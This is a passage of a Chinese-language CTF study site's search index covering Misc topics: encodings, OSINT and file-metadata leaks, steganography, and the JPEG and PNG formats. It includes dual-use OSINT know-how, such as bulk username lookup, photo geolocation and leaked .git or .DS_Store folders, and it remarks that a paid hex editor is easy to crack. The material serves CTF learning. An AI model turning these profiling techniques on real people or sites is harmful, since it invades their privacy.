\u4e2a\u7cfb\u6570</li> <li>\u5e38\u7528\u5b57\u7b26\u8868\uff1a0-9A-Za-z!#$%&amp;()*+-; &gt;?@^_`{ }~</li> <li>\u6807\u51c6\u5b57\u7b26\u8868\uff1a!-u\uff08ASCII \u7f16\u7801\u4e2d 0x21-0x75\uff09</li> <li>\u4f5c\u4e3a\u5927\u6574\u6570\u8f6c\u6362\u8fdb\u5236\uff1a</li> <li>Base62\uff1a0-9A-Za-z\uff08\u6bd4 Base64 \u5c11\u4e86 +/\uff09</li> <li>Base58\uff1a0-9A-Za-z \u53bb\u9664 0OIl</li> <li>Base56\uff1a\u6bd4 Base58 \u5c11\u4e86 1 \u548c o</li> <li>Base36\uff1a0-9A-Z\uff08\u6bd4 Base62 \u5c11\u4e86 a-z\uff09</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#osint","title":"OSINT \u57fa\u7840","text":"<p>\u6211\u8981\u6210\u4e3a\u5f00\u76d2\u7cd5\u624b\uff01</p> <ul> <li>Open Source INTelligence\uff1a\u5f00\u6e90\u7f51\u7edc\u60c5\u62a5</li> </ul> <p>\u901a\u8fc7\u5b8c\u5168\u516c\u5f00\u7684\u4fe1\u606f\u8fdb\u884c\u5408\u7406\u7684\u63a8\u7406\uff0c\u83b7\u53d6\u60c5\u62a5 \u4e00\u822c\u5728 misc \u9898\u76ee\u4e2d\u51fa\u73b0\u5373\u6cdb\u6307\u4fe1\u606f\u641c\u96c6\uff0c\u6709\u51e0\u79cd\u60c5\u51b5\uff1a - \u6784\u9020\u4e86\u4e00\u4e2a\u5168\u65b0\u7684\u865a\u62df\u8eab\u4efd\uff0c\u641c\u96c6\u5f97\u5230\u51fa\u9898\u4eba\u51c6\u5907\u597d\u7684\u4fe1\u606f - \u6839\u636e\u56fe\u7247\u3001\u6587\u6863\u7b49\u9644\u4ef6\u6cc4\u6f0f\u7684\u4fe1\u606f\u8fdb\u884c\u63a8\u7406\uff08\u4e3b\u8981\uff09 - \u5305\u62ec\u6839\u636e\u56fe\u7247\u5185\u5bb9\u63a8\u7406\u627e\u5230\u62cd\u6444\u4f4d\u7f6e\u3001\u5f53\u65f6\u73af\u5883\u7b49\u4fe1\u606f</p>"},{"location":"NOTE/CTF/Misc/#_5","title":"\u4fe1\u606f\u641c\u96c6","text":"<ul> <li>\u6570\u5b57\u4fe1\u606f\u641c\u96c6\u5de5\u5177</li> <li>\u7528\u6237\u540d\u6279\u91cf\u67e5\u8be2</li> <li>sherlock </li> <li>namechk</li> </ul>"},{"location":"NOTE/CTF/Misc/#_6","title":"\u6587\u4ef6\u4fe1\u606f\u6cc4\u9732","text":"<ul> <li>\u5404\u79cd\u6587\u6863\u7684\u5143\u4fe1\u606f\uff08metadata\uff09\u53ef\u80fd\u5305\u62ec\u4f5c\u8005\u3001\u4fee\u6539\u65f6\u95f4\u7b49\u4fe1\u606f<ul> <li>\u56fe\u7247\u7684 EXIF \u4fe1\u606f\uff0c\u53ef\u901a\u8fc7 exiftool \u67e5\u770b\u4e00\u822c\u4ee5 xml \u5f62\u5f0f\u5b58\u50a8\uff0c\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u4e8c\u8fdb\u5236\u62b9\u9664\uff0c\u6216\u8005\u901a\u8fc7\u64cd\u4f5c\u7cfb\u7edf</li> </ul> </li> <li>\u5de5\u7a0b\u6587\u4ef6\u5939\u6cc4\u6f0f\u4fe1\u606f<ul> <li>Visual Studio \u7684\u5404\u79cd\u914d\u7f6e\u6587\u4ef6\uff0c.vs \u6587\u4ef6\u5939\u4e2d\u4fe1\u606f</li> <li>.vscode \u6587\u4ef6\u5939\u4e2d\u7684\u914d\u7f6e\u6587\u4ef6</li> <li>.git \u6587\u4ef6\u5939\uff0c\u6cc4\u6f0f\u5168\u90e8\u4fee\u6539\u5386\u53f2\u3001\u63d0\u4ea4\u4fe1\u606f\u3001\u63d0\u4ea4\u8005\u7b49 \u6587\u4ef6\u5939\u8def\u5f84\u4fe1\u606f\u6cc4\u6f0f</li> <li>.DS_Store \u6587\u4ef6\uff0cmacOS \u4e0b\u7684\u6587\u4ef6\u5939\u5e03\u5c40\u4fe1\u606f</li> </ul> </li> </ul> <p>\u524d\u9762\u5404\u79cd\u5de5\u7a0b\u914d\u7f6e\u6587\u4ef6\u7b49\u4e5f\u4f1a\u6cc4\u6f0f\uff08\u6bd4\u5982 vs \u7684 pdb \u8c03\u8bd5\u4fe1\u606f\uff09 markdown \u6587\u4ef6\u56fe\u7247\u8def\u5f84\uff08\u672c\u5730\u8def\u5f84 / \u56fe\u5e8a\u7528\u6237 / \u81ea\u5efa\u56fe\u5e8a\u7f51\u7ad9\uff09   </p>"},{"location":"NOTE/CTF/Misc/#_7","title":"\u7167\u7247\u4fe1\u606f\u5206\u6790","text":"<ul> <li>\u8bc6\u56fe</li> <li>\u5c5e\u6027</li> <li>\u5730\u6807</li> <li>\u5929\u6c14\u4fe1\u606f\uff0c\u4e91\u5c42\u4fe1\u606f\uff0c\u4f30\u8ba1\u65b9\u5411\uff0c\u4f4d\u7f6e\uff0c\u65f6\u95f4\u7b49</li> <li>\u98ce\u666f\u4fe1\u606f\uff0cYandex\u641c\u7d22</li> </ul>"},{"location":"NOTE/CTF/Misc/#7-9-misc1","title":"7-9 Misc\u4e13\u98981","text":"<p>\u6388\u8bfe: 45gfg9 </p> <p>\u957f\u6c99\uff0c\u597d\u73a9\uff1b\u4e0a\u8bfe\uff0c\u4e0d\u597d\u73a9</p>"},{"location":"NOTE/CTF/Misc/#part1","title":"Part1:\u6587\u4ef6\u7cfb\u7edf\u57fa\u7840","text":""},{"location":"NOTE/CTF/Misc/#_8","title":"\u6587\u4ef6\u5982\u4f55\u5b58\u50a8","text":"<ul> <li>\u4e0d\u540c\u7684\u6587\u4ef6\u7cfb\u7edf\uff0c\u4e0d\u540c\u7684\u7ec4\u7ec7\u65b9\u5f0f<ul> <li>MS \u6d3e\uff1aFAT\u3001NTFS\u3001exFAT\u3001ReFS</li> <li>Apple \u6d3e\uff1aHFS\u3001APFS</li> <li>Linux \u6d3e\uff1aext[234]\u3001XFS\u3001Btrfs\u3001ZFS...</li> </ul> </li> <li>\u6587\u4ef6\u662f\u4e00\u4e32\u4e8c\u8fdb\u5236\u6570\u636e<ul> <li>\u5728 HDD \u4e0a\u662f\u5fae\u5c0f\u78c1\u6781\u7684\u78c1\u5316\u65b9\u5411</li> <li>\u5728 SSD \u4e0a\u662f\u7535\u8377\u7684\u5b58\u50a8\u72b6\u6001</li> </ul> </li> <li>\u201c\u6587\u4ef6\u540d\u201d\u662f\u7531\u6587\u4ef6\u7cfb\u7edf\u7ba1\u7406\u7684\uff0c\u4e0d\u662f\u6587\u4ef6\u672c\u8eab\u6570\u636e\u7684\u4e00\u90e8\u5206<ul> <li>\u6587\u4ef6\u7cfb\u7edf\u4f1a\u8bb0\u5f55\u6587\u4ef6\u540d\u3001\u6587\u4ef6\u5927\u5c0f\u3001\u521b\u5efa\u65f6\u95f4\u3001\u4fee\u6539\u65f6\u95f4\u7b49\u4fe1\u606f</li> <li>\u6587\u4ef6\u5185\u5bb9\u624d\u662f\u771f\u6b63\u7684\u6570\u636e</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_9","title":"\u5982\u4f55\u5224\u65ad\u6587\u4ef6\u7c7b\u578b","text":"<ul> <li>\u6269\u5c55\u540d<ul> <li>.jpg  , .webp,.txt,.docx</li> <li>\u662f\u6587\u4ef6\u540d\u7684\u4e00\u90e8\u5206\uff0c\u53ef\u4ee5\u968f\u610f\u4fee\u6539</li> <li>\u51b3\u5b9a\u4e86\u6253\u5f00\u6587\u4ef6\u7684\u9ed8\u8ba4\u7a0b\u5e8f</li> </ul> </li> <li>\u5185\u5bb9<ul> <li>\u901a\u8fc7\u6587\u4ef6\u5185\u5bb9\u6765\u8bc6\u522b\u6587\u4ef6\u7c7b\u578b</li> <li><code>file</code> \u547d\u4ee4</li> <li>\u4e0d\u540c\u6587\u4ef6\u7c7b\u578b\u6709\u4e0d\u540c\u7684magic number</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_10","title":"\u4e8c\u8fdb\u5236\u67e5\u770b\u6587\u4ef6\u4e0e\u5206\u6790","text":"<ul> <li>010 Editor<ul> <li>\u5168\u5e73\u53f0\u6700\u5e38\u7528\u7684\u4e8c\u8fdb\u5236\u7f16\u8f91\u5668\uff0c\u4ed8\u8d39\u8f6f\u4ef6\uff08\u4f46\u5bb9\u6613\u7834\u89e3\uff09</li> <li>\u6709\u4e30\u5bcc\u7684 binary templates\uff0c\u652f\u6301\u89e3\u6790\u591a\u79cd\u6587\u4ef6\u683c\u5f0f</li> </ul> </li> <li>wader/fg<ul> <li>Go \u7f16\u5199\u7684\u5f00\u6e90\u4e8c\u8fdb\u5236\u6587\u4ef6\u67e5\u770b\u5de5\u5177</li> <li>\u652f\u6301\u7c7b\u4f3c jq \u8bed\u6cd5\u7684\u67e5\u8be2</li> </ul> </li> <li>Hex Fiend<ul> <li>macOS \u4e0a\u514d\u8d39\u5f00\u6e90\u9ad8\u6548\u7684\u4e8c\u8fdb\u5236\u7f16\u8f91\u5668</li> <li>\u4e5f\u6709\u591a\u79cd\u4e8c\u8fdb\u5236\u683c\u5f0f\u7684\u89e3\u6790\u6a21\u677f\uff0c\u4f46\u663e\u793a\u6ca1\u6709 010 \u4e30\u5bcc</li> </ul> </li> <li>ImHex<ul> <li>\u5168\u5e73\u53f0\u5f00\u6e90\u4e8c\u8fdb\u5236\u7f16\u8f91\u5668</li> <li>\u7c7b\u4f3c 010 Editor\uff0c\u4f46\u4f7f\u7528\u9ebb\u70e6\u4e00\u4e9b</li> <li>\u53ef\u4ee5\u7f16\u5199\u81ea\u5b9a\u4e49\u89e3\u6790\u6a21\u677f</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_11","title":"\u6587\u4ef6\u7c7b\u578b\u68c0\u6d4b\u4e0e\u5143\u4fe1\u606f","text":""},{"location":"NOTE/CTF/Misc/#_12","title":"\u6587\u4ef6\u9644\u52a0\u5185\u5bb9\u7684\u8bc6\u522b\u4e0e\u5206\u79bb","text":"<ul> <li>\u5927\u90e8\u5206\u6587\u4ef6\u7c7b\u578b\u90fd\u6709\u4e00\u4e2a\u6807\u8bb0\u6587\u4ef6\u5185\u5bb9\u7ed3\u675f\u7684\u6807\u5fd7</li> <li> <p>\u6bd4\u5982 PNG \u7684 IEND \u5757\u3001JPEG \u7684 EOI \u6807\u5fd7\uff08FF D9\uff09</p> </li> <li> <p>\u6240\u4ee5\u4e00\u822c\u5728\u6587\u4ef6\u672b\u5c3e\u6dfb\u52a0\u5176\u4ed6\u5b57\u8282\u65f6\uff0c\u4e0d\u4f1a\u5f71\u54cd\u539f\u6587\u4ef6\u672c\u8eab\u7684\u7528\u9014</p> </li> <li>\u56e0\u6b64\u6709\u4e9b\u9690\u5199\u662f\u5c06\u6570\u636e\u9690\u85cf\u5728\u6587\u4ef6\u672b\u5c3e\u8fbe\u5230\u7684</li> <li>\u6216\u8005\u5728\u6587\u4ef6\u540e\u53e0\u52a0\u53e6\u4e00\u4efd\u6587\u4ef6</li> <li>cat cover.jpg secret.zip &gt; cover_stego.jpg</li> <li>\u9644\u52a0\u5185\u5bb9\u7684\u8bc6\u522b</li> <li>exiftool \u4e00\u822c\u53ef\u4ee5\u8bc6\u522b\u56fe\u50cf\u6587\u4ef6\u540e\u7684\u9644\u52a0\u6570\u636e</li> <li>binwalk \u53ef\u4ee5\u68c0\u6d4b\u53e0\u52a0\u7684\u6587\u4ef6</li> <li>\u9644\u52a0\u6587\u4ef6\u7684\u5206\u79bb</li> <li>binwalk \u6216 foremost \u8bc6\u522b\u5e76\u5206\u79bb</li> <li>dd if= of= bs=1 skip= \u624b\u52a8\u5206\u79bb"},{"location":"NOTE/CTF/Misc/#part2","title":"Part2: \u56fe\u50cf\u9690\u5199\u57fa\u7840\u6280\u672f","text":""},{"location":"NOTE/CTF/Misc/#_13","title":"\u6587\u4ef6\u5185\u5bb9\u57fa\u672c\u9690\u5199","text":"<ul> <li>\u6587\u4ef6\u672b\u5c3e\u6dfb\u52a0\u6570\u636e<ul> <li>exiftool \u8bc6\u522b\u77ed\u6570\u636e\uff0c\u6216\u8005\u5341\u516d\u8fdb\u5236\u7f16\u8f91\u5668\u76f4\u63a5\u89c2\u5bdf</li> <li>binwalk \u8bc6\u522b\u53e0\u52a0\u6587\u4ef6\uff0cforemost \u63d0\u53d6</li> <li>\u56fe\u50cf\u672b\u5c3e\u53e0\u52a0\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u5c31\u662f\u6240\u8c13\u7684\u201c\u56fe\u79cd\u201d<ul> <li>\u4fee\u6539\u540e\u7f00\u540d\u53ef\u80fd\u53ef\u4ee5\u89e3\u538b\uff08\u90e8\u5206\u89e3\u538b\u8f6f\u4ef6\u4f1a\u5ffd\u7565\u524d\u9762\u7684\u56fe\u50cf\uff09</li> <li>\u5176\u5b9e\u4e0d\u5982\u76f4\u63a5\u5206\u79bb</li> </ul> </li> </ul> </li> <li>\u76f4\u63a5\u5229\u7528\u5143\u4fe1\u606f<ul> <li>exiftool \u5373\u53ef\u8bfb\u53d6</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_14","title":"\u8272\u5f69\u7a7a\u95f4\u3001\u8272\u5f69\u6a21\u5f0f","text":"<p>\u8272\u5f69\u7a7a\u95f4\uff08sRGB\u3001Adobe RGB\u3001Display P3 \u7b49\uff09\u662f\u4e00\u4e2a\u76f8\u5bf9\u975e\u5e38\u590d\u6742\u7684\u6982\u5ff5\uff0c\u800c\u4e14\u662f\u9488\u5bf9\u663e\u793a\u7684\uff0c\u6211\u4eec\u4e0d\u8be6\u7ec6\u4ecb\u7ecd</p> <p>\u6211\u4eec\u6ce8\u91cd\u4e8e\u8868\u793a\u989c\u8272\u7684\u6570\u636e\u4e0a\uff0c\u4e00\u822c\u79f0\u4e3a\u8272\u5f69\u6a21\u5f0f\uff08color mode\uff09\uff1a</p> <ul> <li>\u4e8c\u503c\u56fe\u50cf\uff08bitonal\uff09\uff1a\u6bcf\u4e2a\u50cf\u7d20\u53ea\u6709\u4e24\u79cd\u989c\u8272\uff0c\u5982\u9ed1\u767d</li> <li>\u7070\u5ea6\u56fe\u50cf\uff08grayscale\uff09\uff1a\u6bcf\u4e2a\u50cf\u7d20\u6709\u591a\u79cd\u7070\u5ea6\uff0c\u5982 256 \u7ea7\u7070\u5ea6</li> <li>RGB(A)\uff1a3(+1) \u901a\u9053\uff0c\u8868\u793a RGB \u4e09\u79cd\u989c\u8272\uff0cA \u8868\u793a\u900f\u660e\u5ea6\u901a\u9053(\u5370\u5237\u5e38\u7528)</li> <li>CMYK\uff1a\u9752 cyan\u3001\u54c1\u7ea2 magenta\u3001\u9ec4 yellow\u3001\u9ed1 black \u56db\u79cd\u989c\u8272\u6df7\u5408</li> <li>HSV\uff1a\u8272\u8c03 hue\u3001\u9971\u548c\u5ea6 saturation\u3001\u660e\u5ea6 value</li> <li>HSL\uff1a\u8272\u8c03 hue\u3001\u9971\u548c\u5ea6 saturation\u3001\u4eae\u5ea6 lightness</li> <li>YCbCr\uff1a\u4eae\u5ea6 luminance\u3001\u84dd\u8272\u8272\u5ea6 blue chroma\u3001\u7ea2\u8272\u8272\u5ea6 red chroma</li> <li>LAB\uff1a\u4eae\u5ea6 lightness\u3001\u7eff\u7ea2\u8272\u5ea6 A\u3001\u84dd\u9ec4\u8272\u5ea6 B</li> <li>...</li> </ul>"},{"location":"NOTE/CTF/Misc/#lsb","title":"LSB \u9690\u5199","text":"<ul> <li>\u4eba\u773c\u5bf9\u4e8e\u5fae\u5c0f\u7684\u989c\u8272\u53d8\u5316\u4e0d\u654f\u611f</li> <li>\u5bf9\u4e8e 8 bit \u7684\u989c\u8272\u503c\uff0c\u6700\u4f4e\u4f4d\u7684\u53d8\u5316\u4e0d\u4f1a\u88ab\u5bdf\u89c9</li> <li>\u53ef\u4ee5\u968f\u610f\u4fee\u6539\u6700\u4f4e\u4f4d\uff0c\u800c\u4e0d\u5f71\u54cd\u56fe\u50cf\u7684\u663e\u793a\u6548\u679c</li> <li>LSB \u9690\u5199\u5c06\u989c\u8272\u901a\u9053\u7684\u6700\u4f4e\u4f4d\u7528\u6765\u7f16\u7801\u4fe1\u606f</li> <li>\u56fe\u50cf\uff1astegsolve / CyberChef View Bit Plane</li> <li>\u6570\u636e\uff1astegsolve / CyberChef Extract LSB / zsteg / PIL</li> </ul>"},{"location":"NOTE/CTF/Misc/#pil","title":"PIL \u56fe\u50cf\u5904\u7406\u57fa\u7840","text":"<p>PIL\uff08Python Imaging Library\uff09\u662f Python \u4e2d\u975e\u5e38\u5e38\u7528\u7684\u56fe\u50cf\u5904\u7406\u5e93</p> <ul> <li>\u5b89\u88c5\uff1apip3 install pillow \u6216 apt install python3-pil</li> <li> <p>\u5b98\u65b9\u6587\u6863 / \u6559\u7a0b\uff1ahttps://pillow.readthedocs.io/en/stable/</p> </li> <li> <p>\u57fa\u672c\u7528\u6cd5</p> <ul> <li>from PIL import Image \u5bfc\u5165\u548c\u56fe\u50cf\u8bfb\u5199\u5904\u7406\u6709\u5173\u7684 Image \u7c7b</li> <li>img = Image.open(file_name) \u6253\u5f00\u56fe\u50cf</li> <li>img.show() \u663e\u793a\u56fe\u50cf\uff1bimg.save(file_name) \u4fdd\u5b58\u56fe\u50cf</li> <li>img.size \u56fe\u50cf\u5927\u5c0f\uff0cimg.mode \u56fe\u50cf\u6a21\u5f0f</li> <li>img.convert(mode) \u8f6c\u6362\u56fe\u50cf\u6a21\u5f0f</li> <li>img.getpixel((x, y)) \u83b7\u53d6\u50cf\u7d20\u70b9\u989c\u8272</li> <li>img.putpixel((x, y), color) \u8bbe\u7f6e\u50cf\u7d20\u70b9\u989c\u8272</li> <li>np.array(img) \u5c06\u56fe\u50cf\u8f6c\u6362\u4e3a numpy \u6570\u7ec4</li> </ul> </li> <li> <p>\u5177\u4f53\u56fe\u50cf\u6a21\u5f0f\u4ee5\u53ca\u8f6c\u6362</p> </li> <li>'1'\uff1a\u9ed1\u767d\u4e8c\u503c\uff080/255\uff09\uff1b'L'\uff1a\u7070\u5ea6\uff088 bit\uff09\uff0c'l'\uff1a32 bit \u7070\u5ea6<ul> <li>L = 0.299 R + 0.587 G + 0.114 B</li> </ul> </li> <li>'P'\uff1a8bit \u8c03\u8272\u76d8\uff0c\u83b7\u53d6\u7684\u50cf\u7d20\u503c\u662f\u8c03\u8272\u76d8\u7d22\u5f15</li> <li>'RGB'\u3001'RGBA'</li> <li>'CMYK'\uff1a\u8f6c\u6362\u65f6\u6709\u8272\u5dee\uff0cCMY = 255 - RGB\uff0cK = 0</li> <li>'YCbCr'\u3001'LAB'\u3001'HSV' \u7b49\uff0c\u8f6c\u6362\u65f6\u6709\u590d\u6742\u516c\u5f0f\uff08\u53ef\u80fd\u51fa\u73b0\u65b0\u7684\u9690\u5199\uff09</li> <li>PIL \u5176\u4ed6\u6a21\u5757\u7528\u9014<ul> <li>ImageDraw \u7528\u4e8e\u7ed8\u5236\u56fe\u50cf\u3001\u7ed8\u5236\u56fe\u5f62</li> <li>ImageChops \u7528\u4e8e\u56fe\u50cf\u901a\u9053\u7684\u903b\u8f91\u8fd0\u7b97</li> <li>ImageOps \u7528\u4e8e\u56fe\u50cf\u6574\u4f53\u7684\u8fd0\u7b97\u4e00\u7c7b</li> <li>ImageFilter \u7528\u4e8e\u56fe\u50cf\u7684\u6ee4\u6ce2\u5904\u7406</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#part3","title":"Part3:\u56fe\u50cf\u683c\u5f0f\u4ecb\u7ecd","text":""},{"location":"NOTE/CTF/Misc/#_15","title":"\u56fe\u50cf\u5b58\u50a8","text":"<ul> <li>\u56fe\u50cf\u4fe1\u606f\uff1a\u5bbd\u9ad8\u3001\u8272\u5f69\u6a21\u5f0f\u3001\u8272\u5f69\u7a7a\u95f4\u7b49</li> <li>EXIF \u4fe1\u606f\uff1a\u62cd\u6444\u8bbe\u5907\u3001\u62cd\u6444\u65f6\u95f4\u3001GPS \u4fe1\u606f\u7b49</li> <li>\u50cf\u7d20\u6570\u636e\uff1a\u6bcf\u4e2a\u50cf\u7d20\u7684\u989c\u8272\u4fe1\u606f\uff1b\u4e8c\u503c\u3001\u7070\u5ea6\u3001RGB\u3001CMYK\u3001\u8c03\u8272\u76d8\u7b49<ul> <li>\u5bf9\u4e8e\u6807\u51c6 RGB \u56fe\u50cf\uff0c\u6bcf\u4e2a\u50cf\u7d20\u9700\u8981 24 bits(RGB\u4e09\u4e2a\u5b57\u8282\uff0c\u53ef\u80fd\u6709A)</li> <li>\u5bf9\u4e8e\u4e00\u5f20 1080p \u56fe\u50cf\uff0c\u9700\u8981 6.22 MB(RGB)\uff0c4K \u5219\u9700\u8981 24.88 MB(RGBA)</li> <li>BMP \u683c\u5f0f</li> </ul> </li> <li>\u538b\u529b\u7ed9\u5230\u4e86\u56fe\u50cf\u683c\u5f0f\u7684\u538b\u7f29\u7b97\u6cd5<ul> <li>PNG \u65e0\u635f\uff0cJPEG \u6709\u635f</li> <li>GIF \u6709\u635f\u4e14\u53ea\u652f\u6301 256 \u8272</li> <li>\u65b0\u5174\u683c\u5f0f\u5982 HEIF\u3001WebP\u3001AVIF \u7b49</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#jpeg","title":"JPEG \u6587\u4ef6\u683c\u5f0f","text":"<p>JPEG \u4f7f\u7528\u5206\u6bb5\u7684\u7ed3\u6784\u6765\u8fdb\u884c\u5b58\u50a8\uff0c\u5404\u6bb5\u4ee5 0xFF \u5f00\u5934\uff0c\u540e\u63a5\u4e00\u4e2a\u5b57\u8282\u8868\u793a\u7c7b\u578b\uff1a</p> <ul> <li>FFD8\uff08SOI\uff09\uff1a\u6587\u4ef6\u5f00\u59cb</li> <li>FFE0\uff08APP0\uff09\uff1a\u5e94\u7528\u7a0b\u5e8f\u6570\u636e\u6bb5\uff0c\u5305\u542b\u6587\u4ef6\u683c\u5f0f\u4fe1\u606f\uff08\u4e0a\u56fe\u6ca1\u6709\uff09</li> <li>FFE1\uff08APP1\uff09\uff1a\u5e94\u7528\u7a0b\u5e8f\u6570\u636e\u6bb5\uff0c\u5305\u542b EXIF \u4fe1\u606f\uff08\u4e0a\u56fe\u6ca1\u6709\uff09</li> <li>FFDB\uff08DQT\uff09\uff1a\u91cf\u5316\u8868\u6570\u636e</li> <li>FFC0\uff08SOF\uff09\uff1a\u5e27\u6570\u636e\uff0c\u5305\u542b\u56fe\u50cf\u5bbd\u9ad8\u3001\u8272\u5f69\u6a21\u5f0f\u7b49\u4fe1\u606f</li> <li>FFC4\uff08DHT\uff09\uff1ahuffman \u8868\u6570\u636e</li> <li>FFDA\uff08SOS\uff09\uff1a\u626b\u63cf\u6570\u636e\uff0c\u5305\u542b\u6570\u636e\u7684\u626b\u63cf\u65b9\u5f0f\uff0chuffman \u8868\u7684\u4f7f\u7528\u65b9\u5f0f\u7b49</li> <li>FFD9\uff08EOI\uff09\uff1a\u6587\u4ef6\u7ed3\u675f</li> </ul> <p>#### JPEG\u538b\u7f29\u539f\u7406 - JPEG \u7684\u538b\u7f29\u539f\u7406\u662f DCT\uff08\u79bb\u6563\u4f59\u5f26\u53d8\u6362\uff09+ Huffman \u7f16\u7801     + \u7531 RGB \u8f6c\u6362\u5230 YCbCr\uff0c\u7136\u540e\u51cf\u5c11 Cb\u3001Cr \u7684\u91c7\u6837\u7387     + \u5c06\u56fe\u50cf\u5206\u5757\uff0c\u6bcf\u4e2a\u5757 8x8\uff0c\u8fdb\u884c DCT \u53d8\u6362        - \u5c06\u56fe\u50cf\u8f6c\u6362\u4e3a\u9891\u57df\uff0c\u4fbf\u4e8e\u538b\u7f29\u9ad8\u9891\u90e8\u5206 - \u91cf\u5316\uff0c\u5c06 DCT \u53d8\u6362\u540e\u7684\u7cfb\u6570\u9664\u4ee5\u91cf\u5316\u8868\u4e2d\u7684\u7cfb\u6570     + \u518d\u6b21\u51cf\u5c11\u9ad8\u9891\u90e8\u5206\u7684\u6570\u636e     + \u6839\u636e\u4e0d\u540c\u7684\u91cf\u5316\u8868\uff0c\u53ef\u4ee5\u8c03\u6574\u538b\u7f29\u8d28\u91cf - \u901a\u8fc7\u6e38\u7a0b\u7f16\u7801\u548c huffman \u7f16\u7801\u8fdb\u884c\u538b\u7f29</p>"},{"location":"NOTE/CTF/Misc/#png","title":"PNG\u6587\u4ef6\u683c\u5f0f","text":"<ul> <li>\u6587\u4ef6\u5934 89 50 4E 47 0D 0A 1A 0A | .PNG....</li> <li>\u91c7\u7528\u5206\u5757\u7684\u65b9\u5f0f\u5b58\u50a8\u6570\u636e<ul> <li>\u6bcf\u5757\u7684\u7ed3\u6784\u90fd\u662f 4 \u5b57\u8282\u957f\u5ea6 + 4 \u5b57\u8282\u7c7b\u578b + \u6570\u636e + 4 \u5b57\u8282 CRC \u6821\u9a8c</li> <li>\u56db\u4e2a\u6807\u51c6\u6570\u636e\u5757\uff1aIHDR\u3001PLTE\u3001IDAT\u3001IEND</li> <li>\u5176\u4ed6\u8f85\u52a9\u6570\u636e\u5757\uff1aeXIf\u3001tEXt\u3001zTXt\u3001tIME\u3001gAMA\u2026\u2026<ul> <li>eXIf \u5143\u4fe1\u606f\uff0ctIME \u4fee\u6539\u65f6\u95f4\uff0ctEXt \u6587\u672c\uff0czTXt \u538b\u7f29\u6587\u672c</li> </ul> </li> </ul> </li> </ul> <p>\u56db\u79cd\u6807\u51c6\u6570\u636e\u5757\uff1a</p> <ul> <li>IHDR\uff1a\u5305\u542b\u56fe\u50cf\u57fa\u672c\u4fe1\u606f\uff0c\u5fc5\u987b\u4f4d\u4e8e\u5f00\u5934<ul> <li>4 \u5b57\u8282\u5bbd\u5ea6 + 4 \u5b57\u8282\u9ad8\u5ea6</li> <li>1 \u5b57\u8282\u4f4d\u6df1\u5ea6\uff1a1\u30012\u30014\u30018\u300116</li> <li>1 \u5b57\u8282\u989c\u8272\u7c7b\u578b\uff1a0 \u7070\u5ea6\uff0c2 RGB\uff0c3 \u7d22\u5f15\uff0c4 \u7070\u5ea6\u900f\u660e\uff0c6 RGB \u900f\u660e</li> <li>1 \u5b57\u8282\u538b\u7f29\u65b9\u5f0f\uff0c1 \u5b57\u8282\u6ee4\u6ce2\u65b9\u5f0f\uff0c\u5747\u56fa\u5b9a\u4e3a 0</li> <li>1 \u5b57\u8282\u626b\u63cf\u65b9\u5f0f\uff1a0 \u975e\u9694\u884c\u626b\u63cf\uff0c1 Adam7 \u9694\u884c\u626b\u63cf</li> </ul> </li> <li>PLTE\uff1a\u8c03\u8272\u677f\uff0c\u53ea\u5bf9\u7d22\u5f15\u989c\u8272\u7c7b\u578b\u6709\u7528</li> <li>IDAT\uff1a\u56fe\u50cf\u6570\u636e\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a\uff0c\u6bcf\u4e2a\u6570\u636e\u5757\u6700\u5927 2 31 -1 \u5b57\u8282</li> <li>IEND\uff1a\u6587\u4ef6\u7ed3\u675f\u6807\u5fd7\uff0c\u5fc5\u987b\u4f4d\u4e8e\u6700\u540e\uff0c\u5185\u5bb9\u56fa\u5b9a<ul> <li>PNG \u6807\u51c6\u4e0d\u5141\u8bb8 IEND \u4e4b\u540e\u6709\u6570\u636e\u5757</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#png_1","title":"PNG\u538b\u7f29\u539f\u7406","text":"<ul> <li>PNG \u4f7f\u7528 Deflate \u538b\u7f29\u7b97\u6cd5<ul> <li>\u662f LZ77 \u7ed3\u5408 huffman \u7f16\u7801\u7684\u4e00\u79cd\u538b\u7f29\u7b97\u6cd5</li> <li>LZ77\uff1a\u5229\u7528\u6ed1\u52a8\u7a97\u53e3\uff0c\u627e\u5230\u6700\u957f\u7684\u91cd\u590d\u5b57\u7b26\u4e32\uff0c\u7528\u6307\u9488\u548c\u957f\u5ea6\u8868\u793a  </li> </ul> </li> <li>\u4f1a\u8fdb\u884c\u6ee4\u6ce2\uff0c\u51cf\u5c11\u6570\u636e\u7684\u5197\u4f59\u6027\uff0c\u63d0\u9ad8\u538b\u7f29\u7387<ul> <li>\u4e94\u79cd\u6ee4\u6ce2\u5668\uff1aNone\u3001Sub\u3001Up\u3001Average\u3001Paeth</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#part4","title":"Part4:\u9690\u5199\u8fdb\u9636\u6280\u672f","text":""},{"location":"NOTE/CTF/Misc/#_16","title":"\u56fe\u50cf\u5927\u5c0f\u4fee\u6539","text":"<ul> <li>PNG \u56fe\u50cf\u6309\u884c\u8fdb\u884c\u50cf\u7d20\u6570\u636e\u7684\u538b\u7f29\uff0c\u4ee5\u53ca\u5b58\u50a8 / \u8bfb\u53d6</li> <li>\u5f53\u89e3\u7801\u65f6\u5df2\u7ecf\u8fbe\u5230\u4e86 IHDR \u4e2d\u89c4\u5b9a\u7684\u5927\u5c0f\u5c31\u4f1a\u7ed3\u675f</li> <li>\u56e0\u6b64\u9898\u76ee\u53ef\u80fd\u4f1a\u6545\u610f\u4fee\u6539 IHDR \u4e2d\u7684\u9ad8\u5ea6\u6570\u636e\uff0c\u4f7f\u4e4b\u663e\u793a\u4e0d\u5168</li> <li>\u6062\u590d\u7684\u8bdd\u66f4\u6539\u9ad8\u5ea6\u5373\u53ef\uff0c\u540c\u65f6\u6ce8\u610f crc \u6821\u9a8c\u7801\uff0c\u5426\u5219\u53ef\u80fd\u62a5\u9519<ul> <li>binascii.crc32(data)\uff0cdata \u4e3a\u4ece IHDR 